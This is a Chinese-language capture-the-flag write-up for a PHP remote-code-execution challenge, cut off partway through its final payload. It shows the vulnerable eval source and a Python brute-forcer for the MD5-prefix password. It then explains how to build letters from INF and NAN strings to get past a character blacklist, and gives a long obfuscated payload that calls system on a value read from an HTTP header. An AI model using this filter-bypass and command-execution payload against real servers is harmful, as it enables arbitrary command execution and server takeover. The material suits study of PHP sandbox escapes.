ez_rce
打开链接,得到源码
<?php
error_reporting(0);
if (!isset($_POST['code'])) {
highlight_file(__FILE__);
} else {
if (substr(md5($_GET['pass']), 0, 6) === "7b6db2") {
$str = $_POST['code'];
$butaixing = ['[a-z]','\+', '[\x7f-\xff]', '~', '%','=',';','\s', '*',"'", '"', '`', '\[', '\]', '\$', '_', '\\\\', '\^', ',','#','!','<','>'];
foreach ($butaixing as $item) {
if (preg_match('/' . $item . '/im', $str)) {
die("臭弟弟,你想干啥?");
}
}
eval('echo ' . $str . ';');
}
}
?>
首先需要md5
爆破一下,脚本如下:
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '7b6db2' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print(code)
break
list=[]
for i in range(1): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
过滤了所有的字母,以及取反构造时可能用到的不可见字符,单双引号等字符。直接pass
掉了一些思路:取反,异或,汉字截取。所以需要想别的方法来构造字母,.
是用来连接字符串的,同时因为php
弱类型的特点若是一个数字和一个字符连接的话,数字会自动被转换成字符,那么同样的,若是两个数字来连接,同样会将两个数字转换为字符。
<?php
@var_dump((1/0).(0));//string(4) "INF0"
@var_dump((0/0).(0));//string(4) "NAN0"
@var_dump((9999999999*9999999999).(0));//string(16) "9.999999998E+190"
@var_dump((3333/4).(0));//string(7) "833.250"
@$N = (((1/0).(0)){0});//string(1) "I"
@$N = (((1/0).(0)){1});//string(1) "N"
@$N = (((1/0).(0)){2});//string(1) "F"
?>
这里我们可以使用 system(next(getallheaders()))
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0)